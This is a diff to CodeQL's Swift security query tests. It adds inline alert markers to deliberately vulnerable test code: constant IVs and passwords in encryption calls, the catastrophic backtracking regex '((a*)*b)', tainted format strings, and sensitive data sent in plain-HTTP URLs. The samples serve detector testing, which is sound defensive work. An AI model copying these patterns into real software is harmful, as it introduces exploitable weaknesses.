kRNCryptorAES256Settings, encryptionKey: myKey, hmacKey: myHMACKey, iv: myConstIV1) // BAD // $ Alert let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, encryptionKey: myKey, HMACKey: myHMACKey, IV: myRandomIV) // GOOD - let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, encryptionKey: myKey, HMACKey: myHMACKey, IV: myConstIV2) // BAD + let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, encryptionKey: myKey, HMACKey: myHMACKey, IV: myConstIV2) // BAD // $ Alert let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myPassword, iv: myRandomIV, encryptionSalt: mySalt, hmacSalt: mySalt2) // GOOD - let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myPassword, iv: myConstIV3, encryptionSalt: mySalt, hmacSalt: mySalt2) // BAD + let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myPassword, iv: myConstIV3, encryptionSalt: mySalt, hmacSalt: mySalt2) // BAD // $ Alert let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myPassword, IV: myRandomIV, encryptionSalt: mySalt, HMACSalt: mySalt2) // GOOD - let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myPassword, IV: myConstIV4, encryptionSalt: mySalt, HMACSalt: mySalt2) // BAD + let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myPassword, IV: myConstIV4, encryptionSalt: mySalt, HMACSalt: mySalt2) // BAD // $ Alert } diff --git a/swift/ql/test/query-tests/Security/CWE-1204/test.swift b/swift/ql/test/query-tests/Security/CWE-1204/test.swift index 273556ce5bba..a0c4eb028fdf 100644 --- a/swift/ql/test/query-tests/Security/CWE-1204/test.swift +++ b/swift/ql/test/query-tests/Security/CWE-1204/test.swift @@ -51,7 +51,7 @@ final class GCM: BlockMode { enum Mode { case combined, detached } init(iv: Array, additionalAuthenticatedData: Array? = nil, tagLength: Int = 16, mode: Mode = .detached) { } convenience init(iv: Array, authenticationTag: Array, additionalAuthenticatedData: Array? = nil, mode: Mode = .detached) { - self.init(iv: iv, additionalAuthenticatedData: additionalAuthenticatedData, tagLength: authenticationTag.count, mode: mode) + self.init(iv: iv, additionalAuthenticatedData: additionalAuthenticatedData, tagLength: authenticationTag.count, mode: mode) // $ Alert } } @@ -82,7 +82,7 @@ enum Padding: PaddingProtocol { // Helper functions func getConstantString() -> String { - "this string is constant" + "this string is constant" // $ Source } func getConstantArray() -> Array { @@ -96,7 +96,7 @@ func getRandomArray() -> Array { // --- tests --- func test() { - let iv: Array = [0x2a, 0x3a, 0x80, 0x05, 0xaf, 0x46, 0x58, 0x2d, 0x66, 0x52, 0x10, 0xae, 0x86, 0xd3, 0x8e, 0x8f] + let iv: Array = [0x2a, 0x3a, 0x80, 0x05, 0xaf, 0x46, 0x58, 0x2d, 0x66, 0x52, 0x10, 0xae, 0x86, 0xd3, 0x8e, 0x8f] // $ Source let iv2 = getConstantArray() let ivString = getConstantString() @@ -109,63 +109,63 @@ func test() { let keyString = String(cString: key) // AES test cases - let ab1 = AES(key: keyString, iv: ivString) // BAD - let ab2 = AES(key: keyString, iv: ivString, padding: padding) // BAD + let ab1 = AES(key: keyString, iv: ivString) // BAD // $ Alert + let ab2 = AES(key: keyString, iv: ivString, padding: padding) // BAD // $ Alert let ag1 = AES(key: keyString, iv: randomIvString) // GOOD let ag2 = AES(key: keyString, iv: randomIvString, padding: padding) // GOOD // ChaCha20 test cases - let cb1 = ChaCha20(key: keyString, iv: ivString) // BAD + let cb1 = ChaCha20(key: keyString, iv: ivString) // BAD // $ Alert let cg1 = ChaCha20(key: keyString, iv: randomIvString) // GOOD // Blowfish test cases - let bb1 = Blowfish(key: keyString, iv: ivString) // BAD - let bb2 = Blowfish(key: keyString, iv: ivString, padding: padding) // BAD + let bb1 = Blowfish(key: keyString, iv: ivString) // BAD // $ Alert + let bb2 = Blowfish(key: keyString, iv: ivString, padding: padding) // BAD // $ Alert let bg1 = Blowfish(key: keyString, iv: randomIvString) // GOOD let bg2 = Blowfish(key: keyString, iv: randomIvString, padding: padding) // GOOD // Rabbit - let rb1 = Rabbit(key: key, iv: iv) // BAD - let rb2 = Rabbit(key: key, iv: iv2) // BAD - let rb3 = Rabbit(key: keyString, iv: ivString) // BAD + let rb1 = Rabbit(key: key, iv: iv) // BAD // $ Alert + let rb2 = Rabbit(key: key, iv: iv2) // BAD // $ Alert + let rb3 = Rabbit(key: keyString, iv: ivString) // BAD // $ Alert let rg1 = Rabbit(key: key, iv: randomIv) // GOOD let rg2 = Rabbit(key: keyString, iv: randomIvString) // GOOD // CBC - let cbcb1 = CBC(iv: iv) // BAD + let cbcb1 = CBC(iv: iv) // BAD // $ Alert let cbcg1 = CBC(iv: randomIv) // GOOD // CFB - let cfbb1 = CFB(iv: iv) // BAD - let cfbb2 = CFB(iv: iv, segmentSize: CFB.SegmentSize.cfb8) // BAD + let cfbb1 = CFB(iv: iv) // BAD // $ Alert + let cfbb2 = CFB(iv: iv, segmentSize: CFB.SegmentSize.cfb8) // BAD // $ Alert let cfbg1 = CFB(iv: randomIv) // GOOD let cfbg2 = CFB(iv: randomIv, segmentSize: CFB.SegmentSize.cfb8) // GOOD // GCM - let cgmb1 = GCM(iv: iv) // BAD - let cgmb2 = GCM(iv: iv, additionalAuthenticatedData: randomArray, tagLength: 8, mode: GCM.Mode.combined) // BAD - let cgmb3 = GCM(iv: iv, authenticationTag: randomArray, additionalAuthenticatedData: randomArray, mode: GCM.Mode.combined) // BAD + let cgmb1 = GCM(iv: iv) // BAD // $ Alert + let cgmb2 = GCM(iv: iv, additionalAuthenticatedData: randomArray, tagLength: 8, mode: GCM.Mode.combined) // BAD // $ Alert + let cgmb3 = GCM(iv: iv, authenticationTag: randomArray, additionalAuthenticatedData: randomArray, mode: GCM.Mode.combined) // BAD // $ Alert let cgmg1 = GCM(iv: randomIv) // GOOD let cgmg2 = GCM(iv: randomIv, additionalAuthenticatedData: randomArray, tagLength: 8, mode: GCM.Mode.combined) // GOOD let cgmg3 = GCM(iv: randomIv, authenticationTag: randomArray, additionalAuthenticatedData: randomArray, mode: GCM.Mode.combined) // GOOD // OFB - let ofbb1 = OFB(iv: iv) // BAD + let ofbb1 = OFB(iv: iv) // BAD // $ Alert let ofbg1 = OFB(iv: randomIv) // GOOD // PCBC - let pcbcb1 = PCBC(iv: iv) // BAD + let pcbcb1 = PCBC(iv: iv) // BAD // $ Alert let pcbcg1 = PCBC(iv: randomIv) // GOOD // CCM - let ccmb1 = CCM(iv: iv, tagLength: 0, messageLength: 0, additionalAuthenticatedData: randomArray) // BAD - let ccmb2 = CCM(iv: iv, tagLength: 0, messageLength: 0, authenticationTag: randomArray, additionalAuthenticatedData: randomArray) // BAD + let ccmb1 = CCM(iv: iv, tagLength: 0, messageLength: 0, additionalAuthenticatedData: randomArray) // BAD // $ Alert + let ccmb2 = CCM(iv: iv, tagLength: 0, messageLength: 0, authenticationTag: randomArray, additionalAuthenticatedData: randomArray) // BAD // $ Alert let ccmg1 = CCM(iv: randomIv, tagLength: 0, messageLength: 0, additionalAuthenticatedData: randomArray) // GOOD let ccmg2 = CCM(iv: randomIv, tagLength: 0, messageLength: 0, authenticationTag: randomArray, additionalAuthenticatedData: randomArray) // GOOD // CTR - let ctrb1 = CTR(iv: iv) // BAD - let ctrb2 = CTR(iv: iv, counter: 0) // BAD + let ctrb1 = CTR(iv: iv) // BAD // $ Alert + let ctrb2 = CTR(iv: iv, counter: 0) // BAD // $ Alert let ctrg1 = CTR(iv: randomIv) // GOOD let ctrg2 = CTR(iv: randomIv, counter: 0) // GOOD } diff --git a/swift/ql/test/query-tests/Security/CWE-1333/ReDoS.qlref b/swift/ql/test/query-tests/Security/CWE-1333/ReDoS.qlref index a0bdcd8a864c..5294bedca639 100644 --- a/swift/ql/test/query-tests/Security/CWE-1333/ReDoS.qlref +++ b/swift/ql/test/query-tests/Security/CWE-1333/ReDoS.qlref @@ -1 +1,2 @@ -queries/Security/CWE-1333/ReDoS.ql \ No newline at end of file +query: queries/Security/CWE-1333/ReDoS.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-1333/ReDoS.swift b/swift/ql/test/query-tests/Security/CWE-1333/ReDoS.swift index 0349bac0669d..91beb7118da1 100644 --- a/swift/ql/test/query-tests/Security/CWE-1333/ReDoS.swift +++ b/swift/ql/test/query-tests/Security/CWE-1333/ReDoS.swift @@ -61,25 +61,25 @@ func myRegexpTests(myUrl: URL) throws { // Regex _ = "((a*)*b)" // GOOD (never used) - _ = try Regex("((a*)*b)") // DUBIOUS (never used) [FLAGGED] - _ = try Regex("((a*)*b)").firstMatch(in: untainted) // DUBIOUS (never used on tainted input) [FLAGGED] - _ = try Regex("((a*)*b)").firstMatch(in: tainted) // BAD + _ = try Regex("((a*)*b)") // DUBIOUS (never used) [FLAGGED] // $ Alert + _ = try Regex("((a*)*b)").firstMatch(in: untainted) // DUBIOUS (never used on tainted input) [FLAGGED] // $ Alert + _ = try Regex("((a*)*b)").firstMatch(in: tainted) // BAD // $ Alert _ = try Regex(".*").firstMatch(in: tainted) // GOOD (safe regex) - let str = "((a*)*b)" // BAD + let str = "((a*)*b)" // BAD // $ Alert let regex = try Regex(str) _ = try regex.firstMatch(in: tainted) - _ = try Regex(#"(?is)X(?:.|\n)*Y"#) // BAD - suggested attack should begin with 'x' or 'X', *not* 'isx' or 'isX' + _ = try Regex(#"(?is)X(?:.|\n)*Y"#) // BAD - suggested attack should begin with 'x' or 'X', *not* 'isx' or 'isX' // $ Alert // NSRegularExpression - _ = try? NSRegularExpression(pattern: "((a*)*b)") // DUBIOUS (never used) [FLAGGED] + _ = try? NSRegularExpression(pattern: "((a*)*b)") // DUBIOUS (never used) [FLAGGED] // $ Alert - let nsregex1 = try? NSRegularExpression(pattern: "((a*)*b)") // DUBIOUS (never used on tainted input) [FLAGGED] + let nsregex1 = try? NSRegularExpression(pattern: "((a*)*b)") // DUBIOUS (never used on tainted input) [FLAGGED] // $ Alert _ = nsregex1?.stringByReplacingMatches(in: untainted, range: NSRange(location: 0, length: untainted.utf16.count), withTemplate: "") - let nsregex2 = try? NSRegularExpression(pattern: "((a*)*b)") // BAD + let nsregex2 = try? NSRegularExpression(pattern: "((a*)*b)") // BAD // $ Alert _ = nsregex2?.stringByReplacingMatches(in: tainted, range: NSRange(location: 0, length: tainted.utf16.count), withTemplate: "") let nsregex3 = try? NSRegularExpression(pattern: ".*") // GOOD (safe regex) diff --git a/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.qlref b/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.qlref index 115fef47e47e..62b791e5d6f7 100644 --- a/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.qlref +++ b/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.qlref @@ -1 +1,2 @@ -queries/Security/CWE-134/UncontrolledFormatString.ql \ No newline at end of file +query: queries/Security/CWE-134/UncontrolledFormatString.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.swift b/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.swift index 2e3b082c63ea..e17394cc466d 100644 --- a/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.swift +++ b/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.swift @@ -76,7 +76,7 @@ func vasprintf_l(_ ret: UnsafeMutablePointer?>?, _ l func MyLog(_ format: String, _ args: CVarArg...) { withVaList(args) { arglist in - NSLogv(format, arglist) // BAD + NSLogv(format, arglist) // BAD // $ Alert } } @@ -88,34 +88,34 @@ class MyString { } func tests() throws { - let tainted = try! String(contentsOf: URL(string: "http://example.com")!) + let tainted = try! String(contentsOf: URL(string: "http://example.com")!) // $ Source _ = String("abc") // GOOD: not a format string _ = String(tainted) // GOOD: not a format string _ = String(format: "abc") // GOOD: not tainted - _ = String(format: tainted) // BAD + _ = String(format: tainted) // BAD // $ Alert _ = String(format: "%s", "abc") // GOOD: not tainted _ = String(format: "%s", tainted) // GOOD: format string itself is not tainted - _ = String(format: tainted, "abc") // BAD - _ = String(format: tainted, tainted) // BAD + _ = String(format: tainted, "abc") // BAD // $ Alert + _ = String(format: tainted, tainted) // BAD // $ Alert - _ = String(format: tainted, arguments: []) // BAD - _ = String(format: tainted, locale: nil) // BAD - _ = String(format: tainted, locale: nil, arguments: []) // BAD - _ = String.localizedStringWithFormat(tainted) // BAD + _ = String(format: tainted, arguments: []) // BAD // $ Alert + _ = String(format: tainted, locale: nil) // BAD // $ Alert + _ = String(format: tainted, locale: nil, arguments: []) // BAD // $ Alert + _ = String.localizedStringWithFormat(tainted) // BAD // $ Alert - _ = NSString(format: NSString(string: tainted), "abc") // BAD - NSString.localizedStringWithFormat(NSString(string: tainted)) // BAD + _ = NSString(format: NSString(string: tainted), "abc") // BAD // $ Alert + NSString.localizedStringWithFormat(NSString(string: tainted)) // BAD // $ Alert - _ = NSMutableString(format: NSString(string: tainted), "abc") // BAD - NSMutableString.localizedStringWithFormat(NSString(string: tainted)) // BAD + _ = NSMutableString(format: NSString(string: tainted), "abc") // BAD // $ Alert + NSMutableString.localizedStringWithFormat(NSString(string: tainted)) // BAD // $ Alert NSLog("abc") // GOOD: not tainted - NSLog(tainted) // BAD - MyLog(tainted) // BAD + NSLog(tainted) // BAD // $ Alert + MyLog(tainted) // BAD // $ Alert - NSException.raise(NSExceptionName("exception"), format: tainted, arguments: getVaList([])) // BAD + NSException.raise(NSExceptionName("exception"), format: tainted, arguments: getVaList([])) // BAD // $ Alert let taintedVal = Int(tainted)! let taintedSan = "\(taintedVal)" @@ -127,32 +127,32 @@ func tests() throws { _ = String("abc").appendingFormat("%s", "abc") // GOOD: not tainted _ = String("abc").appendingFormat("%s", tainted) // GOOD: format not tainted - _ = String("abc").appendingFormat(tainted, "abc") // BAD + _ = String("abc").appendingFormat(tainted, "abc") // BAD // $ Alert _ = String(tainted).appendingFormat("%s", "abc") // GOOD: format not tainted let s = NSMutableString(string: "foo") s.appendFormat(NSString(string: "%s"), "abc") // GOOD: not tainted - s.appendFormat(NSString(string: tainted), "abc") // BAD + s.appendFormat(NSString(string: tainted), "abc") // BAD // $ Alert _ = NSPredicate(format: tainted) // GOOD: this should be flagged by `swift/predicate-injection`, not `swift/uncontrolled-format-string` tainted.withCString({ cstr in - _ = dprintf(0, cstr, "abc") // BAD + _ = dprintf(0, cstr, "abc") // BAD // $ Alert _ = dprintf(0, "%s", cstr) // GOOD: format not tainted - _ = vprintf(cstr, getVaList(["abc"])) // BAD + _ = vprintf(cstr, getVaList(["abc"])) // BAD // $ Alert _ = vprintf("%s", getVaList([cstr])) // GOOD: format not tainted - _ = vfprintf(nil, cstr, getVaList(["abc"])) // BAD + _ = vfprintf(nil, cstr, getVaList(["abc"])) // BAD // $ Alert _ = vfprintf(nil, "%s", getVaList([cstr])) // GOOD: format not tainted - _ = vasprintf_l(nil, nil, cstr, getVaList(["abc"])) // BAD + _ = vasprintf_l(nil, nil, cstr, getVaList(["abc"])) // BAD // $ Alert _ = vasprintf_l(nil, nil, "%s", getVaList([cstr])) // GOOD: format not tainted }) myFormatMessage(string: tainted, "abc") // BAD [NOT DETECTED] myFormatMessage(string: "%s", tainted) // GOOD: format not tainted - _ = MyString(format: tainted, "abc") // BAD + _ = MyString(format: tainted, "abc") // BAD // $ Alert _ = MyString(format: "%s", tainted) // GOOD: format not tainted - _ = MyString(formatString: tainted, "abc") // BAD + _ = MyString(formatString: tainted, "abc") // BAD // $ Alert _ = MyString(formatString: "%s", tainted) // GOOD: format not tainted } diff --git a/swift/ql/test/query-tests/Security/CWE-135/StringLengthConflation.qlref b/swift/ql/test/query-tests/Security/CWE-135/StringLengthConflation.qlref index d28ad54bed62..888be87992dd 100644 --- a/swift/ql/test/query-tests/Security/CWE-135/StringLengthConflation.qlref +++ b/swift/ql/test/query-tests/Security/CWE-135/StringLengthConflation.qlref @@ -1 +1 @@ -queries/Security/CWE-135/StringLengthConflation.ql \ No newline at end of file +query: queries/Security/CWE-135/StringLengthConflation.ql diff --git a/swift/ql/test/query-tests/Security/CWE-259/ConstantPassword.qlref b/swift/ql/test/query-tests/Security/CWE-259/ConstantPassword.qlref index 0613f1926315..57f452daecff 100644 --- a/swift/ql/test/query-tests/Security/CWE-259/ConstantPassword.qlref +++ b/swift/ql/test/query-tests/Security/CWE-259/ConstantPassword.qlref @@ -1 +1,2 @@ -queries/Security/CWE-259/ConstantPassword.ql +query: queries/Security/CWE-259/ConstantPassword.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-259/rncryptor.swift b/swift/ql/test/query-tests/Security/CWE-259/rncryptor.swift index 6de5873c459e..1f65a919d328 100644 --- a/swift/ql/test/query-tests/Security/CWE-259/rncryptor.swift +++ b/swift/ql/test/query-tests/Security/CWE-259/rncryptor.swift @@ -66,7 +66,7 @@ func test(cond: Bool) { let myData = Data(0) let myRandomPassword = getARandomPassword() - let myConstPassword = "abc123" + let myConstPassword = "abc123" // $ Source let myMaybePassword = cond ? myRandomPassword : myConstPassword // reasonable usage @@ -74,11 +74,11 @@ func test(cond: Bool) { let a = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myRandomPassword) // GOOD let _ = try? myDecryptor.decryptData(a, withPassword: myRandomPassword) // GOOD - let b = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myConstPassword) // BAD - let _ = try? myDecryptor.decryptData(b, withPassword: myConstPassword) // BAD + let b = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myConstPassword) // BAD // $ Alert + let _ = try? myDecryptor.decryptData(b, withPassword: myConstPassword) // BAD // $ Alert - let c = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myMaybePassword) // BAD - let _ = try? myDecryptor.decryptData(c, withPassword: myMaybePassword) // BAD + let c = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myMaybePassword) // BAD // $ Alert + let _ = try? myDecryptor.decryptData(c, withPassword: myMaybePassword) // BAD // $ Alert // all methods @@ -88,22 +88,22 @@ func test(cond: Bool) { let mySalt = Data(0) let mySalt2 = Data(0) - let _ = myEncryptor.key(forPassword: myConstPassword, salt: mySalt, settings: myKeyDerivationSettings) // BAD - let _ = myEncryptor.keyForPassword(myConstPassword, salt: mySalt, settings: myKeyDerivationSettings) // BAD - let _ = myDecryptor.key(forPassword: myConstPassword, salt: mySalt, settings: myKeyDerivationSettings) // BAD - let _ = myDecryptor.keyForPassword(myConstPassword, salt: mySalt, settings: myKeyDerivationSettings) // BAD + let _ = myEncryptor.key(forPassword: myConstPassword, salt: mySalt, settings: myKeyDerivationSettings) // BAD // $ Alert + let _ = myEncryptor.keyForPassword(myConstPassword, salt: mySalt, settings: myKeyDerivationSettings) // BAD // $ Alert + let _ = myDecryptor.key(forPassword: myConstPassword, salt: mySalt, settings: myKeyDerivationSettings) // BAD // $ Alert + let _ = myDecryptor.keyForPassword(myConstPassword, salt: mySalt, settings: myKeyDerivationSettings) // BAD // $ Alert - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myConstPassword, handler: myHandler) // BAD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myConstPassword, iv: myIV, encryptionSalt: mySalt, hmacSalt: mySalt2, handler: myHandler) // BAD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myConstPassword, IV: myIV, encryptionSalt: mySalt, HMACSalt: mySalt2, handler: myHandler) // BAD + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myConstPassword, handler: myHandler) // BAD // $ Alert + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myConstPassword, iv: myIV, encryptionSalt: mySalt, hmacSalt: mySalt2, handler: myHandler) // BAD // $ Alert + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myConstPassword, IV: myIV, encryptionSalt: mySalt, HMACSalt: mySalt2, handler: myHandler) // BAD // $ Alert - let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myConstPassword) // BAD - let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myConstPassword) // BAD - let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myConstPassword, iv: myIV, encryptionSalt: mySalt, hmacSalt: mySalt2) // BAD - let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myConstPassword, IV: myIV, encryptionSalt: mySalt, HMACSalt: mySalt2) // BAD + let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myConstPassword) // BAD // $ Alert + let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myConstPassword) // BAD // $ Alert + let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myConstPassword, iv: myIV, encryptionSalt: mySalt, hmacSalt: mySalt2) // BAD // $ Alert + let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myConstPassword, IV: myIV, encryptionSalt: mySalt, HMACSalt: mySalt2) // BAD // $ Alert - let _ = RNDecryptor(password: myConstPassword, handler: myHandler) // BAD + let _ = RNDecryptor(password: myConstPassword, handler: myHandler) // BAD // $ Alert - let _ = try? myDecryptor.decryptData(myData, withPassword: myConstPassword) // BAD - let _ = try? myDecryptor.decryptData(myData, withSettings: kRNCryptorAES256Settings, password: myConstPassword) // BAD + let _ = try? myDecryptor.decryptData(myData, withPassword: myConstPassword) // BAD // $ Alert + let _ = try? myDecryptor.decryptData(myData, withSettings: kRNCryptorAES256Settings, password: myConstPassword) // BAD // $ Alert } diff --git a/swift/ql/test/query-tests/Security/CWE-259/test.swift b/swift/ql/test/query-tests/Security/CWE-259/test.swift index 923c49bffbd3..b4870c88c3dc 100644 --- a/swift/ql/test/query-tests/Security/CWE-259/test.swift +++ b/swift/ql/test/query-tests/Security/CWE-259/test.swift @@ -26,7 +26,7 @@ final class Scrypt { // Helper functions func getConstantString() -> String { - "this string is constant" + "this string is constant" // $ Source } func getConstantArray() -> Array { @@ -40,7 +40,7 @@ func getRandomArray() -> Array { // --- tests --- func test() { - let constantPassword: Array = [0x2a, 0x3a, 0x80, 0x05, 0xaf, 0x46, 0x58, 0x2d, 0x66, 0x52, 0x10, 0xae, 0x86, 0xd3, 0x8e, 0x8f] + let constantPassword: Array = [0x2a, 0x3a, 0x80, 0x05, 0xaf, 0x46, 0x58, 0x2d, 0x66, 0x52, 0x10, 0xae, 0x86, 0xd3, 0x8e, 0x8f] // $ Source let constantStringPassword = getConstantArray() let randomPassword = getRandomArray() let randomArray = getRandomArray() @@ -48,23 +48,23 @@ func test() { let iterations = 120120 // HKDF test cases - let hkdfb1 = HKDF(password: constantPassword, salt: randomArray, info: randomArray, keyLength: 0, variant: variant) // BAD - let hkdfb2 = HKDF(password: constantStringPassword, salt: randomArray, info: randomArray, keyLength: 0, variant: variant) // BAD + let hkdfb1 = HKDF(password: constantPassword, salt: randomArray, info: randomArray, keyLength: 0, variant: variant) // BAD // $ Alert + let hkdfb2 = HKDF(password: constantStringPassword, salt: randomArray, info: randomArray, keyLength: 0, variant: variant) // BAD // $ Alert let hkdfg1 = HKDF(password: randomPassword, salt: randomArray, info: randomArray, keyLength: 0, variant: variant) // GOOD // PBKDF1 test cases - let pbkdf1b1 = PKCS5.PBKDF1(password: constantPassword, salt: randomArray, iterations: iterations, keyLength: 0) // BAD - let pbkdf1b2 = PKCS5.PBKDF1(password: constantStringPassword, salt: randomArray, iterations: iterations, keyLength: 0) // BAD + let pbkdf1b1 = PKCS5.PBKDF1(password: constantPassword, salt: randomArray, iterations: iterations, keyLength: 0) // BAD // $ Alert + let pbkdf1b2 = PKCS5.PBKDF1(password: constantStringPassword, salt: randomArray, iterations: iterations, keyLength: 0) // BAD // $ Alert let pbkdf1g1 = PKCS5.PBKDF1(password: randomPassword, salt: randomArray, iterations: iterations, keyLength: 0) // GOOD // PBKDF2 test cases - let pbkdf2b1 = PKCS5.PBKDF2(password: constantPassword, salt: randomArray, iterations: iterations, keyLength: 0) // BAD - let pbkdf2b2 = PKCS5.PBKDF2(password: constantStringPassword, salt: randomArray, iterations: iterations, keyLength: 0) // BAD + let pbkdf2b1 = PKCS5.PBKDF2(password: constantPassword, salt: randomArray, iterations: iterations, keyLength: 0) // BAD // $ Alert + let pbkdf2b2 = PKCS5.PBKDF2(password: constantStringPassword, salt: randomArray, iterations: iterations, keyLength: 0) // BAD // $ Alert let pbkdf2g1 = PKCS5.PBKDF2(password: randomPassword, salt: randomArray, iterations: iterations, keyLength: 0) // GOOD // Scrypt test cases - let scryptb1 = Scrypt(password: constantPassword, salt: randomArray, dkLen: 64, N: 16384, r: 8, p: 1) // BAD - let scryptb2 = Scrypt(password: constantStringPassword, salt: randomArray, dkLen: 64, N: 16384, r: 8, p: 1) // BAD + let scryptb1 = Scrypt(password: constantPassword, salt: randomArray, dkLen: 64, N: 16384, r: 8, p: 1) // BAD // $ Alert + let scryptb2 = Scrypt(password: constantStringPassword, salt: randomArray, dkLen: 64, N: 16384, r: 8, p: 1) // BAD // $ Alert let scryptg1 = Scrypt(password: randomPassword, salt: randomArray, dkLen: 64, N: 16384, r: 8, p: 1) // GOOD } diff --git a/swift/ql/test/query-tests/Security/CWE-311/CleartextStorageDatabase.qlref b/swift/ql/test/query-tests/Security/CWE-311/CleartextStorageDatabase.qlref index d73f4fc4bc29..0d588f51e615 100644 --- a/swift/ql/test/query-tests/Security/CWE-311/CleartextStorageDatabase.qlref +++ b/swift/ql/test/query-tests/Security/CWE-311/CleartextStorageDatabase.qlref @@ -1 +1,2 @@ -queries/Security/CWE-311/CleartextStorageDatabase.ql \ No newline at end of file +query: queries/Security/CWE-311/CleartextStorageDatabase.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-311/CleartextTransmission.qlref b/swift/ql/test/query-tests/Security/CWE-311/CleartextTransmission.qlref index f4c5a561e617..3b301c53e7fd 100644 --- a/swift/ql/test/query-tests/Security/CWE-311/CleartextTransmission.qlref +++ b/swift/ql/test/query-tests/Security/CWE-311/CleartextTransmission.qlref @@ -1 +1,2 @@ -queries/Security/CWE-311/CleartextTransmission.ql \ No newline at end of file +query: queries/Security/CWE-311/CleartextTransmission.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-311/SQLite.swift b/swift/ql/test/query-tests/Security/CWE-311/SQLite.swift index 6874683d8730..6c7d57f271c6 100644 --- a/swift/ql/test/query-tests/Security/CWE-311/SQLite.swift +++ b/swift/ql/test/query-tests/Security/CWE-311/SQLite.swift @@ -116,64 +116,64 @@ func ==(lhs: Expression, rhs: V) -> Expression { return Expression String { return myString } func test1(passwd : String, encrypted_passwd : String, account_no : String, credit_card_no : String) { - _ = URL(string: "http://example.com/login?p=" + passwd); // BAD + _ = URL(string: "http://example.com/login?p=" + passwd); // BAD // $ Alert[swift/cleartext-transmission] _ = URL(string: "http://example.com/login?p=" + encrypted_passwd); // GOOD (not sensitive) - _ = URL(string: "http://example.com/login?ac=" + account_no); // BAD - _ = URL(string: "http://example.com/login?cc=" + credit_card_no); // BAD + _ = URL(string: "http://example.com/login?ac=" + account_no); // BAD // $ Alert[swift/cleartext-transmission] + _ = URL(string: "http://example.com/login?cc=" + credit_card_no); // BAD // $ Alert[swift/cleartext-transmission] let base = URL(string: "http://example.com/"); // GOOD (not sensitive) _ = URL(string: "abc", relativeTo: base); // GOOD (not sensitive) - let f = URL(string: passwd, relativeTo: base); // BAD + let f = URL(string: passwd, relativeTo: base); // BAD // $ Alert[swift/cleartext-transmission] _ = URL(string: "abc", relativeTo: f); // BAD (reported on line above) let e_mail = myString - _ = URL(string: "http://example.com/login?em=" + e_mail); // BAD + _ = URL(string: "http://example.com/login?em=" + e_mail); // BAD // $ Alert[swift/cleartext-transmission] let a_homeaddr_z = getMyString() - _ = URL(string: "http://example.com/login?home=" + a_homeaddr_z); // BAD + _ = URL(string: "http://example.com/login?home=" + a_homeaddr_z); // BAD // $ Alert[swift/cleartext-transmission] let resident_ID = getMyString() - _ = URL(string: "http://example.com/login?id=" + resident_ID); // BAD + _ = URL(string: "http://example.com/login?id=" + resident_ID); // BAD // $ Alert[swift/cleartext-transmission] } func get_private_key() -> String { return "" } @@ -70,9 +70,9 @@ func test2() { _ = URL(string: "http://example.com/login?key=" + get_aes_key()); // BAD [NOT DETECTED] _ = URL(string: "http://example.com/login?key=" + get_aws_key()); // BAD [NOT DETECTED] _ = URL(string: "http://example.com/login?key=" + get_access_key()); // BAD [NOT DETECTED] - _ = URL(string: "http://example.com/login?key=" + get_secret_key()); // BAD + _ = URL(string: "http://example.com/login?key=" + get_secret_key()); // BAD // $ Alert[swift/cleartext-transmission] _ = URL(string: "http://example.com/login?key=" + get_key_press()); // GOOD (not sensitive) - _ = URL(string: "http://example.com/login?cert=" + get_cert_string()); // BAD + _ = URL(string: "http://example.com/login?cert=" + get_cert_string()); // BAD // $ Alert[swift/cleartext-transmission] _ = URL(string: "http://example.com/login?certain=" + get_certain()); // GOOD (not sensitive) } @@ -93,7 +93,7 @@ func test3() { _ = URL(string: "http://example.com/login?key=\(priv_key)"); // BAD [NOT DETECTED] _ = URL(string: "http://example.com/login?key=\(private_key)"); // BAD [NOT DETECTED] 